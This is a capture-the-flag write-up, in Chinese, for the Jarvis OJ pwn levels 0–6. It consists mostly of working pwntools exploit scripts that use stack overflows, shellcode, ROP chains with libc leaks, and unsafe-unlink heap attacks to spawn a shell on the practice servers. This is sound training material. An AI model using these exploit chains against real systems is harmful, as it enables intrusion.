level0

栈溢出,checksec发现开启NX选项,但是给出了一个callsystem函数,直接覆盖返回地址为callsystem函数地址

#coding:utf-8

from pwn import *

pwn = remote("pwn2.jarvisoj.com", 9881)

pwn.recvuntil("Hello, World\n")

callsystem_addr = 0x000000000400596
payload = 'a'*(0x80+8) + p64(callsystem_addr)

pwn.sendline(payload)
pwn.interactive()

level1

栈溢出,checksec发现没有开启NX保护选项,可以在栈上写入shellcode直接执行,用到pwntools的shellcraft模块

#coding:utf-8

from pwn import *
from time import sleep

pwn = remote("pwn2.jarvisoj.com",9877)

recv = pwn.recv().strip()

sleep(0.1)

buf_addr = recv.split(':')[1][:-1]
buf_addr = p32(int(buf_addr,16))

shellcode = asm(shellcraft.i386.linux.sh())
			# shellcode + padding + old_ebp + return_addr
payload = shellcode + '\x00'*(0x88+4-len(shellcode)) + buf_addr

pwn.sendline(payload)
pwn.interactive()

level2

栈溢出,程序带有system函数,并且给有hint – /bin/sh字符串

#coding:utf-8

from pwn import *

pwn = remote('pwn2.jarvisoj.com',9878)

binsh_addr = 0x0804A024
system_plt = 0x8048320

pwn.recv()
            # buf_input + ebp + return_address + faked_return + "/bin/sh"
payload = 'a'*0x88 + 'a'*4 + p32(system_plt) + p32(0xaaaa) + p32(binsh_addr)

pwn.sendline(payload)
pwn.interactive()

level2_x64

#coding:utf-8

from pwn import *
pwn = remote("pwn2.jarvisoj.com",9882)

pop_rdi_ret = 0x00000000004006b3
binsh_addr = 0x0000000000600A90
system_plt = 0x00000000004004C0

pwn.recv() # input:

payload = 'a'*(0x80+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_plt)

pwn.send(payload)
pwn.interactive()
  • 参数传递顺序 rdi,rsi,rdx,rcx,r8,r9,栈

level3

栈溢出,给出libc.so文件,里面包含的有system的偏移和 /bin/sh的偏移。泄露地址,找出基地址。这个题也可以用DynELF利用。

#coding:utf-8

from pwn import *
from time import sleep
pwn = remote('pwn2.jarvisoj.com', 9879)
# context.log_level = 'debug'

libc_so = ELF("./libc-2.19.so")
level3 = ELF("./level3")
system_offset = libc_so.symbols['system']
read_offset = libc_so.symbols['read']
binsh_offset = 0x016084C

read_got = level3.got['read']
write_plt = level3.plt['write']

vulner_func = 0x804844B

pwn.recv() # input:

payload = 'a'*(0x88+4) + p32(write_plt) + p32(vulner_func) + p32(1) + p32(read_got) + p32(4)

pwn.sendline(payload)

read_addr = u32(pwn.recv(4))
base_addr = read_addr - read_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset

sleep(0.1)
pwn.recv() # input:
payload = 'a'*(0x88+4) + p32(system_addr) + p32(0xaaaa) + p32(binsh_addr)

pwn.sendline(payload)
pwn.interactive()

level3_x64

#coding:utf-8

from pwn import *

pwn = remote("pwn2.jarvisoj.com", 9883)
libc = ELF("./libc-2.19.so")
level3_x64 = ELF("./level3_x64")

system_offset = libc.symbols['system']
binsh_offset = 0x00000000017C8C3
write_offset = 0x00000000000EB700
write_got = 0x0000000000600A58
write_plt = 0x0000000004004B0
main = 0x00000000040061A

pop_rdi_ret = 0x00000000004006b3
pop_rsi_ret = 0x00000000004006b1

pwn.recv()

payload  = 'a'*(0x80+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(write_got) + p64(0xa) + p64(write_plt) + p64(main)

pwn.send(payload)
write_addr = u64(pwn.recv(8))
baseaddr = write_addr - write_offset
system_addr = baseaddr + system_offset
binsh_addr = baseaddr + binsh_offset

payload = 'a'*(0x80+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
pwn.recv()
pwn.send(payload)
pwn.interactive()
  • pop rdx; ret; 在程序中没有相应的ROPgadget存在,可以留空,因为他原来的值可以用

level4

栈溢出,没有给出libc文件,典型的ROP,由于libc-database查不到libc版本,所以使用pwntools的DynELF,方便且快速。

#coding:utf-8

from pwn import *
from time import sleep
pwn = remote('pwn2.jarvisoj.com', 9880)

read_plt = 0x8048310
write_plt = 0x08048340
vulner_func = 0x804844B
bss = 0x804A024
pppr = 0x8048509 # objdump -d level4 | grep pop -C3
main = 0x08048470

def leak(address):
    payload = 'a'*(0x88+4) + p32(write_plt) + p32(pppr) + p32(1) + p32(address) + p32(4) + p32(main)
    pwn.send(payload)
    data = pwn.recv(4)
    return data

d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system','libc')
log.success('leak system address: ' + hex(system_addr))

payload = 'a'*(0x88+4) + p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8) + p32(system_addr) + p32(vulner_func) + p32(bss)
pwn.send(payload)
sleep(0.1)
pwn.send("/bin/sh\x00")
pwn.interactive()
  • leak函数中的payload 我用vulner_func循环一直不能获得shell,换位main函数就可以。???

level5

涉及到两个通用 gadget 的使用. 代码修改自这里, 蒸米大神的一步一步ROP系列有讲到这些gadget,膜拜大佬.


from pwn import *

libc = ELF("./libc-2.23.so")
elf = ELF("./level3_x64")

pwn = remote("pwn2.jarvisoj.com", 9884)

context(os="linux", arch="amd64", log_level="debug")

write_got = elf.got['write']
main = 0x0000000004005e6
write_offset = libc.symbols['write']
write_plt = elf.symbols['write']
read_plt = elf.symbols['read']

OVERFLOW_OFFSET = 0x80+8
SHELLCODE = asm(shellcraft.amd64.linux.sh())

pop_rdi_ret = 0x00000000004006b3
pop_rsi_ret = 0x00000000004006b1

dl_resolve_offset = 0x000000000600A50 # got.plt +0x18

gadget1 = 0x0000000004006AA # pop_rbx_rbp_r12_r13_r14_r15_ret
gadget2 = 0x000000000400690 # mov rdx,r13;mov rsi,r14;mov edi r15;call r12
# rdx = r13
# rsi = r14
# edi = r15
# call r12

payload = 'A'* 136
payload += p64(gadget1)
# write(1, write_got, 8)
payload += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1)
payload += p64(gadget2)
payload += 'AAAAAAAA'

# write(1, dl_resolve_offset, 8)
payload += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(dl_resolve_offset) + p64(1)
payload += p64(gadget2)

payload += 'AAAAAAAA'
# return 2 vuln
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
pwn.recvuntil("Input:\n")
pwn.send(payload)

write_addr = u64(pwn.recv(8))
dl_runtime_addr = u64(pwn.recv(8))

print hex(write_addr)
print hex(dl_runtime_addr)
base_addr = write_addr - write_offset
mmap_addr = libc.symbols['mmap'] + base_addr
print hex(mmap_addr)

gadget3 = dl_runtime_addr + 53
"""
0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
0x7ffff7def238 <_dl_runtime_resolve+56>:    mov    r9,QWORD PTR [rsp+0x30]
0x7ffff7def23d <_dl_runtime_resolve+61>:    mov    r8,QWORD PTR [rsp+0x28]
0x7ffff7def242 <_dl_runtime_resolve+66>:    movrdi,QWORD PTR [rsp+0x20]
0x7ffff7def247 <_dl_runtime_resolve+71>:    movrsi,QWORD PTR [rsp+0x18]
0x7ffff7def24c <_dl_runtime_resolve+76>:    movrdx,QWORD PTR [rsp+0x10]
0x7ffff7def251 <_dl_runtime_resolve+81>:    movrcx,QWORD PTR [rsp+0x8]
0x7ffff7def256 <_dl_runtime_resolve+86>:    movrax,QWORD PTR [rsp]
0x7ffff7def25a <_dl_runtime_resolve+90>:    add    rsp,0x48
0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11
"""
shellcode_addr = 0xbeef0000
pop_rax_ret = 0x000000000001b290 + base_addr
print(hex(pop_rax_ret))
# void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
payload = "a"*OVERFLOW_OFFSET
payload += p64(pop_rax_ret)
# payload += p64(1)
payload += p64(mmap_addr)
payload += p64(gadget3)
payload += p64(0)
payload += p64(34) # rcx
payload += p64(0x7) # rdx
payload += p64(0x100) # rsi
payload += p64(shellcode_addr) # rdi
payload += p64(0) # r8
payload += p64(0) # r9
payload += 'a'*16

# read(0, shellcode_addr, 0x100)
payload += p64(pop_rax_ret)
payload += p64(read_plt)
payload += p64(gadget3)
payload += p64(0)
payload += p64(0) # rcx
payload += p64(0x100) # rdx
payload += p64(shellcode_addr) # rsi
payload += p64(0) # rdi
payload += p64(0) # r8
payload += p64(0) # r9
payload += 'a'*16
payload += p64(shellcode_addr)

pwn.recvuntil("Input:\n")
pwn.send(payload)
pwn.send(SHELLCODE)

pwn.interactive()

level6

常规的double free, 也就是unsafe unlink的利用. 我比较迷的是信息泄露那个点, 有文章说 “freelist 是存储在libc的bss段”, 没有搞清楚是怎么回事, 就只在本地复现了一下, 于是我就多泄露了一次数据, 先把free_got改成puts, 找到system的地址, 再改成system的地址. 有空研究一下malloc和free的细节

# coding:utf-8

from pwn import *

def new_note(length, content):
    p.recvuntil("Your choice: ")
    p.sendline(str(2))
    p.recvuntil("Length of new note: ")
    p.sendline(str(length))
    p.recvuntil("Enter your note: ")
    p.send(content)


def delete_note(note):
    p.recvuntil("Your choice: ")
    p.sendline(str(4))
    p.recvuntil("Note number: ")
    p.sendline(str(note))


def edit_note(note, length, content):
    p.recvuntil("Your choice: ")
    p.sendline(str(3))
    p.recvuntil("Note number: ")
    p.sendline(str(note))
    p.recvuntil("Length of note: ")
    p.sendline(str(length))
    p.recvuntil("Enter your note: ")
    p.send(content)


def list_note():
    p.recvuntil("Your choice: ")
    p.sendline(str(1))


def main():
    new_note(16, "a"*16)
    new_note(16, "b"*16)
    new_note(16, "c"*16)
    new_note(25, "cat flag\x00"+"d"*16)

    delete_note(0)
    delete_note(2)
    new_note(4, "a"*4)
    new_note(4 ,"a"*4)
    list_note()

    leak_data = p.recvuntil("aaaaaaaa")
    heap_addr = u32(leak_data[:-8][-4:])
    heap_a_ptr = heap_addr - 0x88*2 - 0xc00
    log.info("heap first ptr is %s ",hex(heap_a_ptr))

    leak_data = p.recvuntil("cccccccc")
    libc_addr = u32(leak_data[:-8][-4:])
    # system_addr = libc_addr - 1531504
    # log.info("system address is %s", hex(system_addr))

    delete_note(1)
    payload = p32(0) + p32(0x80)  # fake_chunk1 head
    payload += p32(heap_a_ptr-0xc) + p32(heap_a_ptr-0x8) # fake_chunk1 fd and bk
    payload += "\x00"*(0x80-0x10) # fake_chunk body
    payload += p32(0x80) + p32(0x88) # fake_chunk2 prev_size and size
    payload += "/bin/sh\x00" + "x00"*(0x20)

    edit_note(0, len(payload), payload)
    delete_note(1)  # double free

    free_got = 0x0804a29c
    read_got = 0x0804a294
    puts_plt = 0x08048480

    payload2 = p32(0x00000002) + p32(0x00000001) + p32(0x4) + p32(free_got)  #
    payload2 += p32(0) + p32(0) + p32(read_got)
    payload2 += p32(1) + p32(4) + p32(heap_addr-0x88)
    payload2 += p32(1) + p32(4) + p32(heap_addr+0x80+0x10)
    payload2 += "\x00"*(0xf0-len(payload2))
    edit_note(0, 0xf0, payload2)
    edit_note(0, 0x4, p32(puts_plt))
    delete_note(1)
    #
    libc = ELF("./libc-2.19.so")
    read_addr = u32(p.recv(4))
    log.info("read address is %s ", hex(read_addr))
    system_addr = read_addr - libc.symbols['read'] + libc.symbols['system']
    log.info("system address is %s ", hex(system_addr))

    edit_note(0, 4, p32(system_addr))
    # gdb.attach(p, "b* 0x080484F5")
    delete_note(3)

    p.interactive()


if __name__ == '__main__':
    debug = 0
    if debug:
        context(os="linux", arch="i386", log_level="debug")
        context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
        env = {"LD_PRELOAD":"./libc-2.19.so"}
        p = process('./freenote_x86')
    else:
        p = remote("pwn2.jarvisoj.com", 9885)

    main()

level6_x64

利用方法和32位一毛一样

# coding:utf-8

from pwn import *


def list_note():
    p.recvuntil("Your choice: ")
    p.sendline(str(1))


def new_note(payload):
    p.recvuntil("Your choice: ")
    p.sendline(str(2))
    p.recvuntil("Length of new note: ")
    p.sendline(str(len(payload)))
    p.recvuntil("Enter your note: ")
    p.send(payload)


def edit_note(note, payload):
    p.recvuntil("Your choice: ")
    p.sendline(str(3))
    p.recvuntil("Note number: ")
    p.sendline(str(note))
    p.recvuntil("Length of note: ")
    p.sendline(str(len(payload)))
    p.recvuntil("Enter your note: ")
    p.send(payload)


def delete_note(note):
    p.recvuntil("Your choice: ")
    p.sendline(str(4))
    p.recvuntil("Note number: ")
    p.sendline(str(note))


def main():
    new_note("a"*32)
    new_note('b'*32)
    new_note('c'*32)
    new_note("/bin/sh\x00"+'d'*32)
    delete_note(0)
    delete_note(2)

    new_note('a'*8)
    new_note('c'*8)
    list_note()
    leak_data1 = p.recvuntil('\n1. ')[:-4].split("a"*8)[1].ljust(8, '\x00')
    heap_addr = u64(leak_data1)
    leak_data2 = p.recvuntil('\n3. ')[:-4].split("c"*8)[1].ljust(8, '\x00')
    libc_addr = u64(leak_data2)
    log.info("leak_heap address is %s ", hex(heap_addr))
    log.info("leak_libc address is %s ", hex(libc_addr))

    heap_a_ptr = heap_addr - 6416
    heap_b_ptr = heap_addr - 0x90

    delete_note(1)
    payload = p64(0) + p64(0x81) # fake-chunk1 head
    payload += p64(heap_a_ptr-0x18) + p64(heap_a_ptr-0x10) # fake fd and bk
    payload += "\x00"*(0x80-len(payload))
    payload += p64(0x80) + p64(0x90)
    payload += "/bin/sh\x00" + "\x00"*20
    edit_note(0, payload)
    delete_note(1)
    #
    free_got = 0x0000000000602018
    puts_plt = 0x00000000004006c0
    read_got = 0x0000000000602040
    # leak read_got
    payload2 = p64(2) + p64(1)
    payload2 += p64(8) + p64(free_got)
    payload2 += p64(0) + p64(0) + p64(read_got)
    payload2 += p64(1) + p64(8) + p64(heap_b_ptr+0x90)
    payload2 += p64(1) + p64(8) + p64(heap_b_ptr+0x90+0x90+0x10)
    payload2 += "\x00"*(0xac-len(payload2)) # avoid call realloc
    edit_note(0, payload2)
    edit_note(0, p64(puts_plt))
    delete_note(1)
    leak_data3 = p.recvuntil("\nDone.\n")[:-7].ljust(8, "\x00")
    read_addr = u64(leak_data3)
    log.info("read address is %s ", hex(read_addr))

    libc = ELF("./libc-2.19.so")
    system_addr = read_addr - libc.symbols['read'] + libc.symbols['system']
    log.info("system address is %s ", hex(system_addr))

    edit_note(0, p64(system_addr))
    delete_note(3)
    # gdb.attach(p, "b* 0x0000000004010AD")


    p.interactive()

if __name__ == '__main__':
    debug = 0
    if debug:
        context(os="linux", arch="amd64", log_level="debug")
        context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
        env = {"LD_PRELOAD":"libc-2.19.so"}
        p = process("./freenote_x64")
    else:
        p = remote("pwn2.jarvisoj.com", 9886)

    main()

题目文件和脚本已上传github